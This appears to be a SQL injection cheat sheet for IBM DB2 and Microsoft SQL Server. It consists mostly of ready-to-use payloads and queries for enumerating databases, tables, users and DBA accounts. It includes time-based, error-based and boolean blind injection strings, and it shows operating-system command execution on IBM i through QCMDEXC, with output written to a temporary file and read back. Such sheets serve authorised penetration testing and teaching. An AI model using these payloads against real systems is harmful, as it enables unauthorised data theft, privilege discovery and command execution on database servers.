SQL Injection

| Name | Description | | --------- | ------------------------------------------------------------------------------------------------- | | SYSIBM | Core system catalog tables storing metadata for database objects. | | SYSCAT | User-friendly views for accessing metadata in the SYSIBM tables. | | SYSSTAT | Statistics tables used by the DB2 optimizer for query optimization. | | SYSPUBLIC | Metadata about objects available to all users (granted to PUBLIC). | | SYSIBMADM | Administrative views for monitoring and managing the database system. | | SYSTOOLs | Tools, utilities, and auxiliary objects provided for database administration and troubleshooting. |

| Description | SQL Query | | ---------------- | ---------------------------------------------------------------------------------------------------- | | DBMS version | `select versionnumber, version_timestamp from sysibm.sysversions;` | | DBMS version | `select service_level from table(sysproc.env_get_inst_info()) as instanceinfo` | | DBMS version | `select getvariable('sysibm.version') from sysibm.sysdummy1` | | DBMS version | `select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo` | | DBMS version | `select service_level,bld_level from sysibmadm.env_inst_info` | | Current user | `select user from sysibm.sysdummy1` | | Current user | `select session_user from sysibm.sysdummy1` | | Current user | `select system_user from sysibm.sysdummy1` | | Current database | `select current server from sysibm.sysdummy1` | | OS info | `select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info` |

| Description | SQL Query | | -------------- | ------------------------------------------------------------ | | List databases | `SELECT distinct(table_catalog) FROM sysibm.tables` | | List databases | `SELECT schemaname FROM syscat.schemata;` | | List columns | `SELECT name, tbname, coltype FROM sysibm.syscolumns` | | List tables | `SELECT table_name FROM sysibm.tables` | | List tables | `SELECT name FROM sysibm.systables` | | List tables | `SELECT tbname FROM sysibm.syscolumns WHERE name='username'` |

-- Returns all in one xml-formatted string
select xmlagg(xmlrow(table_schema)) from sysibm.tables

-- Same but without repeated elements
select xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables)

-- Returns all in one xml-formatted string.
-- May need CAST(xml2clob(… AS varchar(500)) to display the result.
select xml2clob(xmelement(name t, table_schema)) from sysibm.tables

| Description | SQL Query | | --------------- | ------------------------------------------------------------------------------------------------------------------------------------- | | Substring | `select substr('abc',2,1) FROM sysibm.sysdummy1` | | ASCII value | `select chr(65) from sysibm.sysdummy1` | | CHAR to ASCII | `select ascii('A') from sysibm.sysdummy1` | | Select Nth Row | `select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only` | | Bitwise AND | `select bitand(1,0) from sysibm.sysdummy1` | | Bitwise AND NOT | `select bitandnot(1,0) from sysibm.sysdummy1` | | Bitwise OR | `select bitor(1,0) from sysibm.sysdummy1` | | Bitwise XOR | `select bitxor(1,0) from sysibm.sysdummy1` | | Bitwise NOT | `select bitnot(1,0) from sysibm.sysdummy1` |

Heavy queries, if user starts with ascii 68 ('D'), the heavy query will be executed, delaying the response.

' and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68

> The QSYS2.QCMDEXC() procedure and scalar function can be used to execute IBM i CL commands. Using the `QSYS2.QCMDEXC()` on IBM i (previously named AS-400), it is possibile to achieve command execution.

'||QCMDEXC('QSH CMD(''system dspusrprf PROFILE'')')

In many cases, the command output is not returned directly. The following approach works in two steps: first, execute the command and redirect both standard output and standard error to `/tmp/qsh_output.txt` then, read the contents of that file using `QSYS2.IFS_READ_UTF8`.

QSYS2.QCMDEXC('QSH CMD(''system dspusrprf PROFILE > /tmp/qsh_output.txt 2>&1'')')
SELECT LINE FROM TABLE(QSYS2.IFS_READ_UTF8('/tmp/qsh_output.txt',2147483647,'NONE'))

SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1

| Description | SQL Query | | -------------------- | -------------------------------------------------------------------------------- | | List users | `select distinct(grantee) from sysibm.systabauth` | | List users | `select distinct(definer) from syscat.schemata` | | List users | `select distinct(authid) from sysibmadm.privileges` | | List users | `select grantee from syscat.dbauth` | | List privileges | `select * from syscat.tabauth` | | List privileges | `select * from SYSIBM.SYSUSERAUTH — List db2 system privilegies` | | List DBA accounts | `select distinct(grantee) from sysibm.systabauth where CONTROLAUTH='Y'` | | List DBA accounts | `select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = 'Y' or SYSADMAUTH = 'G'` | | Location of DB files | `select * from sysibmadm.reg_variables where reg_var_name='DB2PATH'` |

> MSSQL Injection is a type of security vulnerability that can occur when an attacker can insert or "inject" malicious SQL code into a query executed by a Microsoft SQL Server (MSSQL) database. This typically happens when user inputs are directly included in SQL queries without proper sanitization or parameterization. SQL Injection can lead to serious consequences such as unauthorized data access, data manipulation, and even gaining control over the database server.

| Name | Description | | ------------------ | ------------------------------------ | | pubs | Not available on MSSQL 2005 | | model | Available in all versions | | msdb | Available in all versions | | tempdb | Available in all versions | | northwind | Available in all versions | | information_schema | Available from MSSQL 2000 and higher |

| Type | Description | | --------------------- | --------------- | | `/* MSSQL Comment */` | C-style comment | | `--` | SQL comment | | `;%00` | Null byte |

| Description | SQL Query | | --------------- | ----------------------------------------- | | DBMS version | `SELECT @@version` | | Database name | `SELECT DB_NAME()` | | Database schema | `SELECT SCHEMA_NAME()` | | Hostname | `SELECT HOST_NAME()` | | Hostname | `SELECT @@hostname` | | Hostname | `SELECT @@SERVERNAME` | | Hostname | `SELECT SERVERPROPERTY('productversion')` | | Hostname | `SELECT SERVERPROPERTY('productlevel')` | | Hostname | `SELECT SERVERPROPERTY('edition')` | | User | `SELECT CURRENT_USER` | | User | `SELECT user_name();` | | User | `SELECT system_user;` | | User | `SELECT user;` |

SELECT name FROM master..sysdatabases;
SELECT name FROM master.sys.databases;

-- for N = 0, 1, 2, …
SELECT DB_NAME(N); 

-- Change delimiter value such as ', ' to anything else you want => master, tempdb, model, msdb 
-- (Only works in MSSQL 2017+)
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases;

-- use xtype = 'V' for views
SELECT name FROM master..sysobjects WHERE xtype = 'U';
SELECT name FROM <DBNAME>..sysobjects WHERE xtype='U'
SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';

-- list column names and types for master..sometable
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable';

SELECT table_catalog, table_name FROM information_schema.columns
SELECT table_name FROM information_schema.tables WHERE table_catalog='<DBNAME>'

-- Change delimiter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options  (Only works in MSSQL 2017+)
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U';

-- for the current DB only
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable');

-- list column names and types for master..sometable
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; 

SELECT table_catalog, column_name FROM information_schema.columns

SELECT COL_NAME(OBJECT_ID('<DBNAME>.<TABLE_NAME>'), <INDEX>)

* Extract databases names ```sql $ SELECT name FROM master..sysdatabases [*] Injection [*] msdb [*] tempdb ``` * Extract tables from Injection database ```sql $ SELECT name FROM Injection..sysobjects WHERE xtype = 'U' [*] Profiles [*] Roles [*] Users ``` * Extract columns for the table Users ```sql $ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users') [*] UserId [*] UserName ``` * Finally extract the data ```sql SELECT UserId, UserName from Users ```

| Name | Payload | | ------- | ---------------------------------------------------------------- | | CONVERT | `AND 1337=CONVERT(INT,(SELECT '~'+(SELECT @@version)+'~')) -- -` | | IN | `AND 1337 IN (SELECT ('~'+(SELECT @@version)+'~')) -- -` | | EQUAL | `AND 1337=CONCAT('~',(SELECT @@version),'~') -- -` | | CAST | `CAST((SELECT @@version) AS INT)` | * For integer inputs ```sql convert(int,@@version) cast((SELECT @@version) as int) ``` * For string inputs ```sql ' + convert(int,@@version) + ' ' + cast((SELECT @@version) as int) + ' ```

AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -

SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'

| Function | Example | | ----------- | ---------------------------------------- | | `SUBSTRING` | `SUBSTRING('foobar', <START>, <LENGTH>)` | Examples:

AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- 
AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90